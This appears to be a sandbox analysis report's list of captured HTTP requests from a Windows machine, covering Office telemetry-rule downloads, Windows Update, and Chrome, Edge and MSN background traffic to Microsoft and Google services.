Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+atZCGEXt4o6SCh&MD=8wLWSR72 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=145043783CBF6C823B4D56563D316DA5&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=0119f2fd986a4c0ab1ad15c9e0a24b95 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=145043783CBF6C823B4D56563D316DA5; _EDGE_S=F=1&SID=35B7F40E96FD64EF3C64E12097F96516; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msBhx.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
